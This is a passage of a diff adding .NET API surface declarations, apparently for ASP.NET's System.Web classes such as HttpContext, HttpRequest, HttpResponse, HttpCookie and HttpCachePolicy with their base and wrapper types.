+ public override bool RequiresUniqueFilePathSuffix { get; }
+ public override bool RequiresUniqueHtmlCheckboxNames { get; }
+ public override bool RequiresUniqueHtmlInputNames { get; }
+ public override bool RequiresUrlEncodedPostfieldValues { get; }
+ public override int ScreenBitDepth { get; }
+ public override int ScreenCharactersHeight { get; }
+ public override int ScreenCharactersWidth { get; }
+ public override int ScreenPixelsHeight { get; }
+ public override int ScreenPixelsWidth { get; }
+ public override bool SupportsAccesskeyAttribute { get; }
+ public override bool SupportsBodyColor { get; }
+ public override bool SupportsBold { get; }
+ public override bool SupportsCacheControlMetaTag { get; }
+ public override bool SupportsCallback { get; }
+ public override bool SupportsCss { get; }
+ public override bool SupportsDivAlign { get; }
+ public override bool SupportsDivNoWrap { get; }
+ public override bool SupportsEmptyStringInCookieValue { get; }
+ public override bool SupportsFontColor { get; }
+ public override bool SupportsFontName { get; }
+ public override bool SupportsFontSize { get; }
+ public override bool SupportsImageSubmit { get; }
+ public override bool SupportsIModeSymbols { get; }
+ public override bool SupportsInputIStyle { get; }
+ public override bool SupportsInputMode { get; }
+ public override bool SupportsItalic { get; }
+ public override bool SupportsJPhoneMultiMediaAttributes { get; }
+ public override bool SupportsJPhoneSymbols { get; }
+ public override bool SupportsQueryStringInFormAction { get; }
+ public override bool SupportsRedirectWithCookie { get; }
+ public override bool SupportsSelectMultiple { get; }
+ public override bool SupportsUncheck { get; }
+ public override bool SupportsXmlHttp { get; }
+ public override bool Tables { get; }
+ public override Type TagWriter { get; }
+ public override string this[string key] { get; }
+ public override string Type { get; }
+ public override bool UseOptimizedCacheKey { get; }
+ public override bool VBScript { get; }
+ public override string Version { get; }
+ public override Version W3CDomVersion { get; }
+ public override bool Win16 { get; }
+ public override bool Win32 { get; }
+ public override void AddBrowser(string browserName);
+ public override int CompareFilters(string filter1, string filter2);
+ public override HtmlTextWriter CreateHtmlTextWriter(TextWriter w);
+ public override void DisableOptimizedCacheKey();
+ public override bool EvaluateFilter(string filterName);
+ public override Version[] GetClrVersions();
+ public override bool IsBrowser(string browserName);
+ }
+ public enum HttpCacheability {
+ NoCache = 1,
+ Private = 2,
+ Public = 4,
+ Server = 3,
+ ServerAndNoCache = 3,
+ ServerAndPrivate = 5,
+ }
+ public sealed class HttpCachePolicy {
+ public HttpCacheVaryByContentEncodings VaryByContentEncodings { get; }
+ public HttpCacheVaryByHeaders VaryByHeaders { get; }
+ public HttpCacheVaryByParams VaryByParams { get; }
+ public void AddValidationCallback(HttpCacheValidateHandler handler, object data);
+ public void AppendCacheExtension(string extension);
+ public void SetAllowResponseInBrowserHistory(bool allow);
+ public void SetCacheability(HttpCacheability cacheability);
+ public void SetCacheability(HttpCacheability cacheability, string field);
+ public void SetETag(string etag);
+ public void SetETagFromFileDependencies();
+ public void SetExpires(DateTime date);
+ public void SetLastModified(DateTime date);
+ public void SetLastModifiedFromFileDependencies();
+ public void SetMaxAge(TimeSpan delta);
+ public void SetNoServerCaching();
+ public void SetNoStore();
+ public void SetNoTransforms();
+ public void SetOmitVaryStar(bool omit);
+ public void SetProxyMaxAge(TimeSpan delta);
+ public void SetRevalidation(HttpCacheRevalidation revalidation);
+ public void SetSlidingExpiration(bool slide);
+ public void SetValidUntilExpires(bool validUntilExpires);
+ public void SetVaryByCustom(string custom);
+ }
+ public abstract class HttpCachePolicyBase {
+ protected HttpCachePolicyBase();
+ public virtual HttpCacheVaryByContentEncodings VaryByContentEncodings { get; }
+ public virtual HttpCacheVaryByHeaders VaryByHeaders { get; }
+ public virtual HttpCacheVaryByParams VaryByParams { get; }
+ public virtual void AddValidationCallback(HttpCacheValidateHandler handler, object data);
+ public virtual void AppendCacheExtension(string extension);
+ public virtual void SetAllowResponseInBrowserHistory(bool allow);
+ public virtual void SetCacheability(HttpCacheability cacheability);
+ public virtual void SetCacheability(HttpCacheability cacheability, string field);
+ public virtual void SetETag(string etag);
+ public virtual void SetETagFromFileDependencies();
+ public virtual void SetExpires(DateTime date);
+ public virtual void SetLastModified(DateTime date);
+ public virtual void SetLastModifiedFromFileDependencies();
+ public virtual void SetMaxAge(TimeSpan delta);
+ public virtual void SetNoServerCaching();
+ public virtual void SetNoStore();
+ public virtual void SetNoTransforms();
+ public virtual void SetOmitVaryStar(bool omit);
+ public virtual void SetProxyMaxAge(TimeSpan delta);
+ public virtual void SetRevalidation(HttpCacheRevalidation revalidation);
+ public virtual void SetSlidingExpiration(bool slide);
+ public virtual void SetValidUntilExpires(bool validUntilExpires);
+ public virtual void SetVaryByCustom(string custom);
+ }
+ public class HttpCachePolicyWrapper : HttpCachePolicyBase {
+ public HttpCachePolicyWrapper(HttpCachePolicy httpCachePolicy);
+ public override HttpCacheVaryByContentEncodings VaryByContentEncodings { get; }
+ public override HttpCacheVaryByHeaders VaryByHeaders { get; }
+ public override HttpCacheVaryByParams VaryByParams { get; }
+ public override void AddValidationCallback(HttpCacheValidateHandler handler, object data);
+ public override void AppendCacheExtension(string extension);
+ public override void SetAllowResponseInBrowserHistory(bool allow);
+ public override void SetCacheability(HttpCacheability cacheability);
+ public override void SetCacheability(HttpCacheability cacheability, string field);
+ public override void SetETag(string etag);
+ public override void SetETagFromFileDependencies();
+ public override void SetExpires(DateTime date);
+ public override void SetLastModified(DateTime date);
+ public override void SetLastModifiedFromFileDependencies();
+ public override void SetMaxAge(TimeSpan delta);
+ public override void SetNoServerCaching();
+ public override void SetNoStore();
+ public override void SetNoTransforms();
+ public override void SetOmitVaryStar(bool omit);
+ public override void SetProxyMaxAge(TimeSpan delta);
+ public override void SetRevalidation(HttpCacheRevalidation revalidation);
+ public override void SetSlidingExpiration(bool slide);
+ public override void SetValidUntilExpires(bool validUntilExpires);
+ public override void SetVaryByCustom(string custom);
+ }
+ public enum HttpCacheRevalidation {
+ AllCaches = 1,
+ None = 3,
+ ProxyCaches = 2,
+ }
+ public delegate void HttpCacheValidateHandler(HttpContext context, object data, ref HttpValidationStatus validationStatus);
+ public sealed class HttpCacheVaryByContentEncodings {
+ public HttpCacheVaryByContentEncodings();
+ public bool this[string contentEncoding] { get; set; }
+ }
+ public sealed class HttpCacheVaryByHeaders {
+ public HttpCacheVaryByHeaders();
+ public bool AcceptTypes { get; set; }
+ public bool this[string header] { get; set; }
+ public bool UserAgent { get; set; }
+ public bool UserCharSet { get; set; }
+ public bool UserLanguage { get; set; }
+ public void VaryByUnspecifiedParameters();
+ }
+ public sealed class HttpCacheVaryByParams {
+ public HttpCacheVaryByParams();
+ public bool IgnoreParams { get; set; }
+ public bool this[string header] { get; set; }
+ }
+ public class HttpClientCertificate : NameValueCollection {
+ public byte[] BinaryIssuer { get; }
+ public int CertEncoding { get; }
+ public byte[] Certificate { get; }
+ public string Cookie { get; }
+ public int Flags { get; }
+ public bool IsPresent { get; }
+ public string Issuer { get; }
+ public bool IsValid { get; }
+ public int KeySize { get; }
+ public byte[] PublicKey { get; }
+ public int SecretKeySize { get; }
+ public string SerialNumber { get; }
+ public string ServerIssuer { get; }
+ public string ServerSubject { get; }
+ public string Subject { get; }
+ public DateTime ValidFrom { get; }
+ public DateTime ValidUntil { get; }
+ public override string Get(string field);
+ }
+ public sealed class HttpCompileException : HttpException {
+ public HttpCompileException();
+ public HttpCompileException(CompilerResults results, string sourceCode);
+ public HttpCompileException(string message);
+ public HttpCompileException(string message, Exception innerException);
+ public override string Message { get; }
+ public CompilerResults Results { get; }
+ public string SourceCode { get; }
+ public override void GetObjectData(SerializationInfo info, StreamingContext context);
+ }
+ public sealed class HttpContext : IPrincipalContainer, IServiceProvider {
+ public HttpContext(HttpRequest request, HttpResponse response);
+ public HttpContext(HttpWorkerRequest wr);
+ public Exception[] AllErrors { get; }
+ public bool AllowAsyncDuringSyncStages { get; set; }
+ public HttpApplicationState Application { get; }
+ public HttpApplication ApplicationInstance { get; set; }
+ public AsyncPreloadModeFlags AsyncPreloadMode { get; set; }
+ public Cache Cache { get; }
+ public static HttpContext Current { get; set; }
+ public IHttpHandler CurrentHandler { get; }
+ public RequestNotification CurrentNotification { get; internal set; }
+ public Exception Error { get; }
+ public IHttpHandler Handler { get; set; }
+ public bool IsCustomErrorEnabled { get; }
+ public bool IsDebuggingEnabled { get; }
+ public bool IsPostNotification { get; internal set; }
+ public bool IsWebSocketRequest { get; }
+ public bool IsWebSocketRequestUpgrading { get; }
+ public IDictionary Items { get; }
+ public PageInstrumentationService PageInstrumentation { get; }
+ public IHttpHandler PreviousHandler { get; }
+ public ProfileBase Profile { get; }
+ public HttpRequest Request { get; }
+ public HttpResponse Response { get; }
+ public HttpServerUtility Server { get; }
+ public HttpSessionState Session { get; }
+ public bool SkipAuthorization { get; set; }
+ public bool ThreadAbortOnTimeout { get; set; }
+ public DateTime Timestamp { get; }
+ public TraceContext Trace { get; }
+ public IPrincipal User { get; set; }
+ public string WebSocketNegotiatedProtocol { get; }
+ public IList<string> WebSocketRequestedProtocols { get; }
+ public void AcceptWebSocketRequest(Func<AspNetWebSocketContext, Task> userFunc);
+ public void AcceptWebSocketRequest(Func<AspNetWebSocketContext, Task> userFunc, AspNetWebSocketOptions options);
+ public void AddError(Exception errorInfo);
+ public ISubscriptionToken AddOnRequestCompleted(Action<HttpContext> callback);
+ public void ClearError();
+ public ISubscriptionToken DisposeOnPipelineCompleted(IDisposable target);
+ public static object GetAppConfig(string name);
+ public object GetConfig(string name);
+ public static object GetGlobalResourceObject(string classKey, string resourceKey);
+ public static object GetGlobalResourceObject(string classKey, string resourceKey, CultureInfo culture);
+ public static object GetLocalResourceObject(string virtualPath, string resourceKey);
+ public static object GetLocalResourceObject(string virtualPath, string resourceKey, CultureInfo culture);
+ public object GetSection(string sectionName);
+ public void RemapHandler(IHttpHandler handler);
+ public void RewritePath(string path);
+ public void RewritePath(string path, bool rebaseClientPath);
+ public void RewritePath(string filePath, string pathInfo, string queryString);
+ public void RewritePath(string filePath, string pathInfo, string queryString, bool setClientFilePath);
+ public void SetSessionStateBehavior(SessionStateBehavior sessionStateBehavior);
+ object System.IServiceProvider.GetService(Type service);
+ }
+ public abstract class HttpContextBase : IServiceProvider {
+ protected HttpContextBase();
+ public virtual Exception[] AllErrors { get; }
+ public virtual bool AllowAsyncDuringSyncStages { get; set; }
+ public virtual HttpApplicationStateBase Application { get; }
+ public virtual HttpApplication ApplicationInstance { get; set; }
+ public virtual AsyncPreloadModeFlags AsyncPreloadMode { get; set; }
+ public virtual Cache Cache { get; }
+ public virtual IHttpHandler CurrentHandler { get; }
+ public virtual RequestNotification CurrentNotification { get; }
+ public virtual Exception Error { get; }
+ public virtual IHttpHandler Handler { get; set; }
+ public virtual bool IsCustomErrorEnabled { get; }
+ public virtual bool IsDebuggingEnabled { get; }
+ public virtual bool IsPostNotification { get; }
+ public virtual bool IsWebSocketRequest { get; }
+ public virtual bool IsWebSocketRequestUpgrading { get; }
+ public virtual IDictionary Items { get; }
+ public virtual PageInstrumentationService PageInstrumentation { get; }
+ public virtual IHttpHandler PreviousHandler { get; }
+ public virtual ProfileBase Profile { get; }
+ public virtual HttpRequestBase Request { get; }
+ public virtual HttpResponseBase Response { get; }
+ public virtual HttpServerUtilityBase Server { get; }
+ public virtual HttpSessionStateBase Session { get; }
+ public virtual bool SkipAuthorization { get; set; }
+ public virtual bool ThreadAbortOnTimeout { get; set; }
+ public virtual DateTime Timestamp { get; }
+ public virtual TraceContext Trace { get; }
+ public virtual IPrincipal User { get; set; }
+ public virtual string WebSocketNegotiatedProtocol { get; }
+ public virtual IList<string> WebSocketRequestedProtocols { get; }
+ public virtual void AcceptWebSocketRequest(Func<AspNetWebSocketContext, Task> userFunc);
+ public virtual void AcceptWebSocketRequest(Func<AspNetWebSocketContext, Task> userFunc, AspNetWebSocketOptions options);
+ public virtual void AddError(Exception errorInfo);
+ public virtual ISubscriptionToken AddOnRequestCompleted(Action<HttpContextBase> callback);
+ public virtual void ClearError();
+ public virtual ISubscriptionToken DisposeOnPipelineCompleted(IDisposable target);
+ public virtual object GetGlobalResourceObject(string classKey, string resourceKey);
+ public virtual object GetGlobalResourceObject(string classKey, string resourceKey, CultureInfo culture);
+ public virtual object GetLocalResourceObject(string virtualPath, string resourceKey);
+ public virtual object GetLocalResourceObject(string virtualPath, string resourceKey, CultureInfo culture);
+ public virtual object GetSection(string sectionName);
+ public virtual object GetService(Type serviceType);
+ public virtual void RemapHandler(IHttpHandler handler);
+ public virtual void RewritePath(string path);
+ public virtual void RewritePath(string path, bool rebaseClientPath);
+ public virtual void RewritePath(string filePath, string pathInfo, string queryString);
+ public virtual void RewritePath(string filePath, string pathInfo, string queryString, bool setClientFilePath);
+ public virtual void SetSessionStateBehavior(SessionStateBehavior sessionStateBehavior);
+ }
+ public class HttpContextWrapper : HttpContextBase {
+ public HttpContextWrapper(HttpContext httpContext);
+ public override Exception[] AllErrors { get; }
+ public override bool AllowAsyncDuringSyncStages { get; set; }
+ public override HttpApplicationStateBase Application { get; }
+ public override HttpApplication ApplicationInstance { get; set; }
+ public override AsyncPreloadModeFlags AsyncPreloadMode { get; set; }
+ public override Cache Cache { get; }
+ public override IHttpHandler CurrentHandler { get; }
+ public override RequestNotification CurrentNotification { get; }
+ public override Exception Error { get; }
+ public override IHttpHandler Handler { get; set; }
+ public override bool IsCustomErrorEnabled { get; }
+ public override bool IsDebuggingEnabled { get; }
+ public override bool IsPostNotification { get; }
+ public override bool IsWebSocketRequest { get; }
+ public override bool IsWebSocketRequestUpgrading { get; }
+ public override IDictionary Items { get; }
+ public override PageInstrumentationService PageInstrumentation { get; }
+ public override IHttpHandler PreviousHandler { get; }
+ public override ProfileBase Profile { get; }
+ public override HttpRequestBase Request { get; }
+ public override HttpResponseBase Response { get; }
+ public override HttpServerUtilityBase Server { get; }
+ public override HttpSessionStateBase Session { get; }
+ public override bool SkipAuthorization { get; set; }
+ public override bool ThreadAbortOnTimeout { get; set; }
+ public override DateTime Timestamp { get; }
+ public override TraceContext Trace { get; }
+ public override IPrincipal User { get; set; }
+ public override string WebSocketNegotiatedProtocol { get; }
+ public override IList<string> WebSocketRequestedProtocols { get; }
+ public override void AcceptWebSocketRequest(Func<AspNetWebSocketContext, Task> userFunc);
+ public override void AcceptWebSocketRequest(Func<AspNetWebSocketContext, Task> userFunc, AspNetWebSocketOptions options);
+ public override void AddError(Exception errorInfo);
+ public override ISubscriptionToken AddOnRequestCompleted(Action<HttpContextBase> callback);
+ public override void ClearError();
+ public override ISubscriptionToken DisposeOnPipelineCompleted(IDisposable target);
+ public override object GetGlobalResourceObject(string classKey, string resourceKey);
+ public override object GetGlobalResourceObject(string classKey, string resourceKey, CultureInfo culture);
+ public override object GetLocalResourceObject(string virtualPath, string resourceKey);
+ public override object GetLocalResourceObject(string virtualPath, string resourceKey, CultureInfo culture);
+ public override object GetSection(string sectionName);
+ public override object GetService(Type serviceType);
+ public override void RemapHandler(IHttpHandler handler);
+ public override void RewritePath(string path);
+ public override void RewritePath(string path, bool rebaseClientPath);
+ public override void RewritePath(string filePath, string pathInfo, string queryString);
+ public override void RewritePath(string filePath, string pathInfo, string queryString, bool setClientFilePath);
+ public override void SetSessionStateBehavior(SessionStateBehavior sessionStateBehavior);
+ }
+ public sealed class HttpCookie {
+ public HttpCookie(string name);
+ public HttpCookie(string name, string value);
+ public string Domain { get; set; }
+ public DateTime Expires { get; set; }
+ public bool HasKeys { get; }
+ public bool HttpOnly { get; set; }
+ public string Name { get; set; }
+ public string Path { get; set; }
+ public bool Secure { get; set; }
+ public bool Shareable { get; set; }
+ public string this[string key] { get; set; }
+ public string Value { get; set; }
+ public NameValueCollection Values { get; }
+ }
+ public sealed class HttpCookieCollection : NameObjectCollectionBase {
+ public HttpCookieCollection();
+ public string[] AllKeys { get; }
+ public HttpCookie this[int index] { get; }
+ public HttpCookie this[string name] { get; }
+ public void Add(HttpCookie cookie);
+ public void Clear();
+ public void CopyTo(Array dest, int index);
+ public HttpCookie Get(int index);
+ public HttpCookie Get(string name);
+ public string GetKey(int index);
+ public void Remove(string name);
+ public void Set(HttpCookie cookie);
+ }
+ public enum HttpCookieMode {
+ AutoDetect = 2,
+ UseCookies = 1,
+ UseDeviceProfile = 3,
+ UseUri = 0,
+ }
+ public class HttpException : ExternalException {
+ public HttpException();
+ public HttpException(int httpCode, string message);
+ public HttpException(int httpCode, string message, Exception innerException);
+ public HttpException(int httpCode, string message, int hr);
+ protected HttpException(SerializationInfo info, StreamingContext context);
+ public HttpException(string message);
+ public HttpException(string message, Exception innerException);
+ public HttpException(string message, int hr);
+ public int WebEventCode { get; internal set; }
+ public static HttpException CreateFromLastError(string message);
+ public string GetHtmlErrorMessage();
+ public int GetHttpCode();
+ public override void GetObjectData(SerializationInfo info, StreamingContext context);
+ }
+ public sealed class HttpFileCollection : NameObjectCollectionBase {
+ public string[] AllKeys { get; }
+ public HttpPostedFile this[int index] { get; }
+ public HttpPostedFile this[string name] { get; }
+ public void CopyTo(Array dest, int index);
+ public HttpPostedFile Get(int index);
+ public HttpPostedFile Get(string name);
+ public string GetKey(int index);
+ public IList<HttpPostedFile> GetMultiple(string name);
+ }
+ public abstract class HttpFileCollectionBase : NameObjectCollectionBase, ICollection, IEnumerable {
+ protected HttpFileCollectionBase();
+ public virtual string[] AllKeys { get; }
+ public override int Count { get; }
+ public virtual bool IsSynchronized { get; }
+ public virtual object SyncRoot { get; }
+ public virtual HttpPostedFileBase this[int index] { get; }
+ public virtual HttpPostedFileBase this[string name] { get; }
+ public virtual void CopyTo(Array dest, int index);
+ public virtual HttpPostedFileBase Get(int index);
+ public virtual HttpPostedFileBase Get(string name);
+ public override IEnumerator GetEnumerator();
+ public virtual string GetKey(int index);
+ public virtual IList<HttpPostedFileBase> GetMultiple(string name);
+ }
+ public class HttpFileCollectionWrapper : HttpFileCollectionBase {
+ public HttpFileCollectionWrapper(HttpFileCollection httpFileCollection);
+ public override string[] AllKeys { get; }
+ public override int Count { get; }
+ public override bool IsSynchronized { get; }
+ public override NameObjectCollectionBase.KeysCollection Keys { get; }
+ public override object SyncRoot { get; }
+ public override HttpPostedFileBase this[int index] { get; }
+ public override HttpPostedFileBase this[string name] { get; }
+ public override void CopyTo(Array dest, int index);
+ public override HttpPostedFileBase Get(int index);
+ public override HttpPostedFileBase Get(string name);
+ public override IEnumerator GetEnumerator();
+ public override string GetKey(int index);
+ public override IList<HttpPostedFileBase> GetMultiple(string name);
+ public override void GetObjectData(SerializationInfo info, StreamingContext context);
+ public override void OnDeserialization(object sender);
+ }
+ public sealed class HttpModuleCollection : NameObjectCollectionBase {
+ public string[] AllKeys { get; }
+ public IHttpModule this[int index] { get; }
+ public IHttpModule this[string name] { get; }
+ public void CopyTo(Array dest, int index);
+ public IHttpModule Get(int index);
+ public IHttpModule Get(string name);
+ public string GetKey(int index);
+ }
+ public sealed class HttpParseException : HttpException {
+ public HttpParseException();
+ public HttpParseException(string message);
+ public HttpParseException(string message, Exception innerException);
+ public HttpParseException(string message, Exception innerException, string virtualPath, string sourceCode, int line);
+ public string FileName { get; }
+ public int Line { get; }
+ public ParserErrorCollection ParserErrors { get; }
+ public string VirtualPath { get; }
+ public override void GetObjectData(SerializationInfo info, StreamingContext context);
+ }
+ public sealed class HttpPostedFile {
+ public int ContentLength { get; }
+ public string ContentType { get; }
+ public string FileName { get; }
+ public Stream InputStream { get; }
+ public void SaveAs(string filename);
+ }
+ public abstract class HttpPostedFileBase {
+ protected HttpPostedFileBase();
+ public virtual int ContentLength { get; }
+ public virtual string ContentType { get; }
+ public virtual string FileName { get; }
+ public virtual Stream InputStream { get; }
+ public virtual void SaveAs(string filename);
+ }
+ public class HttpPostedFileWrapper : HttpPostedFileBase {
+ public HttpPostedFileWrapper(HttpPostedFile httpPostedFile);
+ public override int ContentLength { get; }
+ public override string ContentType { get; }
+ public override string FileName { get; }
+ public override Stream InputStream { get; }
+ public override void SaveAs(string filename);
+ }
+ public sealed class HttpRequest {
+ public HttpRequest(string filename, string url, string queryString);
+ public string[] AcceptTypes { get; }
+ public string AnonymousID { get; internal set; }
+ public string ApplicationPath { get; }
+ public string AppRelativeCurrentExecutionFilePath { get; }
+ public HttpBrowserCapabilities Browser { get; set; }
+ public HttpClientCertificate ClientCertificate { get; }
+ public Encoding ContentEncoding { get; set; }
+ public int ContentLength { get; }
+ public string ContentType { get; set; }
+ public HttpCookieCollection Cookies { get; }
+ public string CurrentExecutionFilePath { get; }
+ public string CurrentExecutionFilePathExtension { get; }
+ public string FilePath { get; }
+ public HttpFileCollection Files { get; }
+ public Stream Filter { get; set; }
+ public NameValueCollection Form { get; }
+ public NameValueCollection Headers { get; }
+ public ChannelBinding HttpChannelBinding { get; }
+ public string HttpMethod { get; }
+ public Stream InputStream { get; }
+ public bool IsAuthenticated { get; }
+ public bool IsLocal { get; }
+ public bool IsSecureConnection { get; }
+ public WindowsIdentity LogonUserIdentity { get; }
+ public NameValueCollection Params { get; }
+ public string Path { get; }
+ public string PathInfo { get; }
+ public string PhysicalApplicationPath { get; }
+ public string PhysicalPath { get; }
+ public NameValueCollection QueryString { get; }
+ public string RawUrl { get; internal set; }
+ public ReadEntityBodyMode ReadEntityBodyMode { get; }
+ public RequestContext RequestContext { get; set; }
+ public string RequestType { get; set; }
+ public NameValueCollection ServerVariables { get; }
+ public string this[string key] { get; }
+ public CancellationToken TimedOutToken { get; }
+ public ITlsTokenBindingInfo TlsTokenBindingInfo { get; }
+ public int TotalBytes { get; }
+ public UnvalidatedRequestValues Unvalidated { get; }
+ public Uri Url { get; }
+ public Uri UrlReferrer { get; }
+ public string UserAgent { get; }
+ public string UserHostAddress { get; }
+ public string UserHostName { get; }
+ public string[] UserLanguages { get; }
+ public void Abort();
+ public byte[] BinaryRead(int count);
+ public Stream GetBufferedInputStream();
+ public Stream GetBufferlessInputStream();
+ public Stream GetBufferlessInputStream(bool disableMaxRequestLength);
+ public void InsertEntityBody();
+ public void InsertEntityBody(byte[] buffer, int offset, int count);
+ public int[] MapImageCoordinates(string imageFieldName);
+ public string MapPath(string virtualPath);
+ public string MapPath(string virtualPath, string baseVirtualDir, bool allowCrossAppMapping);
+ public double[] MapRawImageCoordinates(string imageFieldName);
+ public void SaveAs(string filename, bool includeHeaders);
+ public void ValidateInput();
+ }
+ public abstract class HttpRequestBase {
+ protected HttpRequestBase();
+ public virtual string[] AcceptTypes { get; }
+ public virtual string AnonymousID { get; }
+ public virtual string ApplicationPath { get; }
+ public virtual string AppRelativeCurrentExecutionFilePath { get; }
+ public virtual HttpBrowserCapabilitiesBase Browser { get; }
+ public virtual HttpClientCertificate ClientCertificate { get; }
+ public virtual Encoding ContentEncoding { get; set; }
+ public virtual int ContentLength { get; }
+ public virtual string ContentType { get; set; }
+ public virtual HttpCookieCollection Cookies { get; }
+ public virtual string CurrentExecutionFilePath { get; }
+ public virtual string CurrentExecutionFilePathExtension { get; }
+ public virtual string FilePath { get; }
+ public virtual HttpFileCollectionBase Files { get; }
+ public virtual Stream Filter { get; set; }
+ public virtual NameValueCollection Form { get; }
+ public virtual NameValueCollection Headers { get; }
+ public virtual ChannelBinding HttpChannelBinding { get; }
+ public virtual string HttpMethod { get; }
+ public virtual Stream InputStream { get; }
+ public virtual bool IsAuthenticated { get; }
+ public virtual bool IsLocal { get; }
+ public virtual bool IsSecureConnection { get; }
+ public virtual WindowsIdentity LogonUserIdentity { get; }
+ public virtual NameValueCollection Params { get; }
+ public virtual string Path { get; }
+ public virtual string PathInfo { get; }
+ public virtual string PhysicalApplicationPath { get; }
+ public virtual string PhysicalPath { get; }
+ public virtual NameValueCollection QueryString { get; }
+ public virtual string RawUrl { get; }
+ public virtual ReadEntityBodyMode ReadEntityBodyMode { get; }
+ public virtual RequestContext RequestContext { get; set; }
+ public virtual string RequestType { get; set; }
+ public virtual NameValueCollection ServerVariables { get; }
+ public virtual string this[string key] { get; }
+ public virtual CancellationToken TimedOutToken { get; }
+ public virtual ITlsTokenBindingInfo TlsTokenBindingInfo { get; }
+ public virtual int TotalBytes { get; }
+ public virtual UnvalidatedRequestValuesBase Unvalidated { get; }
+ public virtual Uri Url { get; }
+ public virtual Uri UrlReferrer { get; }
+ public virtual string UserAgent { get; }
+ public virtual string UserHostAddress { get; }
+ public virtual string UserHostName { get; }
+ public virtual string[] UserLanguages { get; }
+ public virtual void Abort();
+ public virtual byte[] BinaryRead(int count);
+ public virtual Stream GetBufferedInputStream();
+ public virtual Stream GetBufferlessInputStream();
+ public virtual Stream GetBufferlessInputStream(bool disableMaxRequestLength);
+ public virtual void InsertEntityBody();
+ public virtual void InsertEntityBody(byte[] buffer, int offset, int count);
+ public virtual int[] MapImageCoordinates(string imageFieldName);
+ public virtual string MapPath(string virtualPath);
+ public virtual string MapPath(string virtualPath, string baseVirtualDir, bool allowCrossAppMapping);
+ public virtual double[] MapRawImageCoordinates(string imageFieldName);
+ public virtual void SaveAs(string filename, bool includeHeaders);
+ public virtual void ValidateInput();
+ }
+ public sealed class HttpRequestValidationException : HttpException {
+ public HttpRequestValidationException();
+ public HttpRequestValidationException(string message);
+ public HttpRequestValidationException(string message, Exception innerException);
+ }
+ public class HttpRequestWrapper : HttpRequestBase {
+ public HttpRequestWrapper(HttpRequest httpRequest);
+ public override string[] AcceptTypes { get; }
+ public override string AnonymousID { get; }
+ public override string ApplicationPath { get; }
+ public override string AppRelativeCurrentExecutionFilePath { get; }
+ public override HttpBrowserCapabilitiesBase Browser { get; }
+ public override HttpClientCertificate ClientCertificate { get; }
+ public override Encoding ContentEncoding { get; set; }
+ public override int ContentLength { get; }
+ public override string ContentType { get; set; }
+ public override HttpCookieCollection Cookies { get; }
+ public override string CurrentExecutionFilePath { get; }
+ public override string CurrentExecutionFilePathExtension { get; }
+ public override string FilePath { get; }
+ public override HttpFileCollectionBase Files { get; }
+ public override Stream Filter { get; set; }
+ public override NameValueCollection Form { get; }
+ public override NameValueCollection Headers { get; }
+ public override ChannelBinding HttpChannelBinding { get; }
+ public override string HttpMethod { get; }
+ public override Stream InputStream { get; }
+ public override bool IsAuthenticated { get; }
+ public override bool IsLocal { get; }
+ public override bool IsSecureConnection { get; }
+ public override WindowsIdentity LogonUserIdentity { get; }
+ public override NameValueCollection Params { get; }
+ public override string Path { get; }
+ public override string PathInfo { get; }
+ public override string PhysicalApplicationPath { get; }
+ public override string PhysicalPath { get; }
+ public override NameValueCollection QueryString { get; }
+ public override string RawUrl { get; }
+ public override ReadEntityBodyMode ReadEntityBodyMode { get; }
+ public override RequestContext RequestContext { get; set; }
+ public override string RequestType { get; set; }
+ public override NameValueCollection ServerVariables { get; }
+ public override string this[string key] { get; }
+ public override CancellationToken TimedOutToken { get; }
+ public override ITlsTokenBindingInfo TlsTokenBindingInfo { get; }
+ public override int TotalBytes { get; }
+ public override UnvalidatedRequestValuesBase Unvalidated { get; }
+ public override Uri Url { get; }
+ public override Uri UrlReferrer { get; }
+ public override string UserAgent { get; }
+ public override string UserHostAddress { get; }
+ public override string UserHostName { get; }
+ public override string[] UserLanguages { get; }
+ public override void Abort();
+ public override byte[] BinaryRead(int count);
+ public override Stream GetBufferedInputStream();
+ public override Stream GetBufferlessInputStream();
+ public override Stream GetBufferlessInputStream(bool disableMaxRequestLength);
+ public override void InsertEntityBody();
+ public override void InsertEntityBody(byte[] buffer, int offset, int count);
+ public override int[] MapImageCoordinates(string imageFieldName);
+ public override string MapPath(string virtualPath);
+ public override string MapPath(string virtualPath, string baseVirtualDir, bool allowCrossAppMapping);
+ public override double[] MapRawImageCoordinates(string imageFieldName);
+ public override void SaveAs(string filename, bool includeHeaders);
+ public override void ValidateInput();
+ }
+ public sealed class HttpResponse {
+ public HttpResponse(TextWriter writer);
+ public bool Buffer { get; set; }
+ public bool BufferOutput { get; set; }
+ public HttpCachePolicy Cache { get; }
+ public string CacheControl { get; set; }
+ public string Charset { get; set; }
+ public CancellationToken ClientDisconnectedToken { get; }
+ public Encoding ContentEncoding { get; set; }
+ public string ContentType { get; set; }
+ public HttpCookieCollection Cookies { get; }
+ public int Expires { get; set; }
+ public DateTime ExpiresAbsolute { get; set; }
+ public Stream Filter { get; set; }
+ public Encoding HeaderEncoding { get; set; }
+ public NameValueCollection Headers { get; }
+ public bool HeadersWritten { get; internal set; }
+ public bool IsClientConnected { get; }
+ public bool IsRequestBeingRedirected { get; internal set; }
+ public TextWriter Output { get; set; }
+ public Stream OutputStream { get; }
+ public string RedirectLocation { get; set; }
+ public string Status { get; set; }
+ public int StatusCode { get; set; }
+ public string StatusDescription { get; set; }
+ public int SubStatusCode { get; set; }
+ public bool SupportsAsyncFlush { get; }
+ public bool SuppressContent { get; set; }
+ public bool SuppressDefaultCacheControlHeader { get; set; }
+ public bool SuppressFormsAuthenticationRedirect { get; set; }
+ public bool TrySkipIisCustomErrors { get; set; }
+ public void AddCacheDependency(params CacheDependency[] dependencies);
+ public void AddCacheItemDependencies(ArrayList cacheKeys);
+ public void AddCacheItemDependencies(string[] cacheKeys);
+ public void AddCacheItemDependency(string cacheKey);
+ public void AddFileDependencies(ArrayList filenames);
+ public void AddFileDependencies(string[] filenames);
+ public void AddFileDependency(string filename);
+ public void AddHeader(string name, string value);
+ public ISubscriptionToken AddOnSendingHeaders(Action<HttpContext> callback);
+ public void AppendCookie(HttpCookie cookie);
+ public void AppendHeader(string name, string value);
+ public void AppendToLog(string param);
+ public string ApplyAppPathModifier(string virtualPath);
+ public IAsyncResult BeginFlush(AsyncCallback callback, object state);
+ public void BinaryWrite(byte[] buffer);
+ public void Clear();
+ public void ClearContent();
+ public void ClearHeaders();
+ public void Close();
+ public void DisableKernelCache();
+ public void DisableUserCache();
+ public void End();
+ public void EndFlush(IAsyncResult asyncResult);
+ public void Flush();
+ public Task FlushAsync();
+ public void Pics(string value);
+ public void PushPromise(string path);
